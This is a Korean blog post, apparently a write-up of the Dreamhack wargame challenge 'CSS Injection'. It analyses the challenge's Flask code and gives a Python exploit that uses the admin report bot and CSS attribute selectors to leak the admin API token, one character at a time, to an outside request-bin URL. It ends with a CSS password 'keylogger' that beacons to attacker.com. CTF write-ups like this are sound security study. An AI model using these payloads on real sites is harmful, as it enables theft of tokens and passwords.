security/웹해킹

[Dreamhack Wargame] CSS Injection

민사민서 2023. 7. 5. 21:50

CSS Injection 배경지식

개념

웹 페이지 로딩 시 악의적인 문자열을 삽입하여 악의적인 동작을 이끄는 공격

임의 CSS 속성을 삽입해 웹페이지의 UI 를 변조하거나 웹 페이지내의 데이터를 외부로 훔칠 수 있다

CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자를 통해 표현이 가능한 값이어야 한다

HTML (style) 영역에 공격자가 임의 입력 값을 넣을 수 있거나 임의 HTML을 삽입할 수 있는 상황에서 사용한다

예제

<style>
body { background-color: ${theme}; }
</style>

=> $theme에 yellow; h1 { color: red  삽입 시 UI 변조 가능

IP ping back 방법

- 외부 요청을 전송함으로써 웹페이지의 데이터를 탈취할 수 있다

CSS 가젯 설명
@import 'https://leaking.via/css-import-string'; 외부 CSS 파일을 로드합니다. 모든 속성 중 가장 상단에 위치해야합니다. 그렇지 않을 경우 @import는 무시됩니다.
@import url(https://leaking.via/css-import-url); url 함수는 URL를 불러오는 역할을 합니다. 상황에 따라서 선택적으로 사용할 수 있습니다.
background: url(https://leaking.via/css-background); 요소의 배경을 변경할 때 사용할 이미지를 불러옵니다.
@font-face {
   font-family: leak;
   src: url(https://leaking.via/css-font-face-src);
}
불러올 폰트 파일의 주소를 지정합니다.
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); CSS 에서 함수를 호출할 때 ascii형태의 “url”이 아닌 hex형태인 “\000075\000072\00006C”도 지원합니다.

=> import, background, url, font-face, src 등을 통해 외부로 GET 요청 보낼 수 있다 (argument에 data 담아서 leak 가능)

CSS Attribute Selector

[attr] attr이라는 이름의 특성을 가진 요소를 선택합니다.
[attr=value] attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다.
[attr~=value] attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.
[attr^=value] attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
[attr$=value] attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.

[attr][attr] 연속해서 쓰면 AND 조건, [attr], [attr] 이렇게 comma로 이어서쓰면 OR 조건

https://www.w3schools.com/cssref/css_selectors.php

 

CSS Selectors Reference

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

문제 분석

* base.html

    <style>
      body{
        background-color: {{ color }};
      }
    </style>

- css injection 가능

 

* main.py

# template에서 사용할 수 있는 변수를 정의 (default: color=white)
@app.context_processor
def background_color():
    color = request.args.get('color', 'white')
    return dict(color=color)

- argument로 color를 받아서 템플릿 변수 color에 대입함 (argument 없을 시 white)

        # register 시 token generate
        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(sql, {'username': username, 'password': hashlib.sha256(password.encode()).hexdigest(), 'token': token})
        flash('Register Success.')
        return redirect(url_for('login'))

- register() 함수의 일부, [userid, username, password, token] 을 DB에 넣음

@app.route('/mypage')
@login_required
def mypage():
    user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': session['uid']})
    return render_template('mypage.html', user=user[0])

- mypage: 로그인 된 사용자의 uid / username / API key(=token) 값을 표시해줌 

def token_generate():
    while True:
        # token은 알파벳 lowercase 16자리
        token = ''.join(random.choice(string.ascii_lowercase) for _ in range(16))
        token_exists = execute('SELECT * FROM users WHERE token = :token;', {'token': token})
        if not token_exists:
            return token

- token은 알파벳 소문자로 16자리 랜덤하게 생성

@app.route('/report', methods=['GET', 'POST'])
def report():
    if request.method == 'POST':
        path = request.form.get('path')
        if not path:
            flash('fail.')
            return redirect(url_for('report'))

        if path and path[0] == '/':
            path = path[1:]

        url = f'http://localhost:80/{path}'

        # success / fail 여부만 알려주네
        if check_url(url):
            flash('success.')
        else:
            flash('fail.')
        return redirect(url_for('report'))
// 이하 생략

def check_url(url):
// 생략        
        # admin으로 로그인한 후 url 접속
        driver_promise = Promise(driver.get('http://localhost:80/login'))
        driver_promise.then(driver.find_element_by_name("username").send_keys(str(ADMIN_USERNAME)))
        driver_promise.then(driver.find_element_by_name("password").send_keys(ADMIN_PASSWORD.decode()))
        driver_promise = Promise(driver.find_element_by_id("submit").click())
        driver_promise.then(driver.get(url))
// 이하 생략

- /report 엔드포인트에 관리자 로그인된 상태로 원하는 링크로 GET 요청 보낼 수 있음

- @app.before_first_request에 의해 서버 시작 시 이미 DB에 관리자계정 (uid, username, password, token) 생성하고 관리자 계정으로 메모 하나 작성되어있음

# API - token만 있으면 해당 user의 uid/username/memo 확인 가능
@app.route('/api/me')
@apikey_required
def APIme():
    user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': request.uid})
    if user:
        return {'code': 200, 'uid': user[0][0], 'username': user[0][1]}
    return {'code': 500, 'message': 'Error !'}

@app.route('/api/memo')
@apikey_required
def APImemo():
    memos = execute('SELECT * FROM memo WHERE uid = :uid;', {'uid': request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({'idx': tmp[0], 'memo': tmp[2]})
        return {'code': 200, 'memo': memo}

    return {'code': 500, 'message': 'Error !'}

- /api/me , /api/memo 접속하려면 @apikey_required 먼저 통과해야 함

# /api/* 페이지 접속 시 헤더에 API-KEY 있는지/있으면 해당하는 uid 전달
def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get('API-KEY', None)
        token = execute('SELECT * FROM users WHERE token = :token;', {'token': apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {'code': 401, 'message': 'Access Denined !'}
    return wrapped_view

- 헤더에 "API-KEY"가 존재해야하고, 그 토큰값을 기준으로 DB에서 uid를 꺼내 request에 담는다

=> api page에서는 API-KEY만으로도 개인정보/메모를 확인할 수 있다

 

취약점 파악

* mypage.html

{% extends "base.html" %}

{% block head %}
  {{ super() }}
{% endblock %}

{% block content %}
// 생략
<div class="form-group">
  <label for="InputApitoken">API Token</label>
  <input type="text" class="form-control" id="InputApitoken" readonly value="{{ user[3] }}">
  <button class="btn btn-primary" onclick="TokenCopy()">Copy</button>
</div>
// 이하 생략

- 모든 페이지에서 base.html을 extends 하므로 CSS Injection 공격 어디에서나 가능

- /mypage의 경우 API-KEY가 웹 페이지에 직접적으로 보여지고 있다.

 

CSS Injection TEST

- CSS selector 하나만 사용해서는 우선순위에 밀려 내 코드가 반영이 안 된다

(헤더에 <link rel="stylesheet" href="~"> 다수 존재하기 때문에 우선순위 낮음)

- CSS selector 두 개를 사용해서 내 inline CSS code의 우선순위를 높인다

- url 인자로 전달해주어도 잘 동작한다 (큰따옴표는 사용하지 않았다, HTML Entity로 변환되더라)

 

exploit 방향

- /report 엔드포인트를 이용하면 관리자 계정으로 로그인한 상태로 특정 url에 GET 요청을 날릴 수 있다

- 관리자의 /mypage에 접속한 후 input[id="InputApitoken] 의 value를 leak하면 되겠다

 

how to leak?

- 처음에는 check_url(url) 리턴값에 따른 blind Injection을 시도하려했지만, 단순히 UI를 바꾸는 것만으로 Exception을 발생시켜 False를 리턴시키는게 불가능

- IP Ping Back!! 외부 Request bin으로 data를 포함해 GET 요청을 보내면 되겠다

- 한 글자씩 구해나가면 될 듯

 

import requests, string

api_key = ''
# report 통해 로그인하면 administrator로 로그인된 상태
url = 'http://host3.dreamhack.games:14878/report'

data = {'path': ''}

for ch in string.ascii_lowercase:
	# 한 글자 구할때마다 value에 추가
    payload = 'mypage?color=white;}} input[id=InputApitoken][value^=ezsykjtuznqsteef{ch}] {{ background: url(https://envcy5qws1w7b.x.pipedream.net?data={ch})'.format(ch=ch)
    data['path'] = payload
    c = requests.post(url=url, data=data)

- 매 실행마다 API-KEY 한 자씩 구함. 16번 반복

- Request bin 상황

c = requests.get(headers={"API-KEY": "ezsykjtuznqsteef"}, url="http://host3.dreamhack.games:14878/api/memo")
print(c.text)

- API-KEY를 헤더에 포함하여 /api/memo 엔드포인트 접속

 

응용

키로거 제작할 수도 있겠다

input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}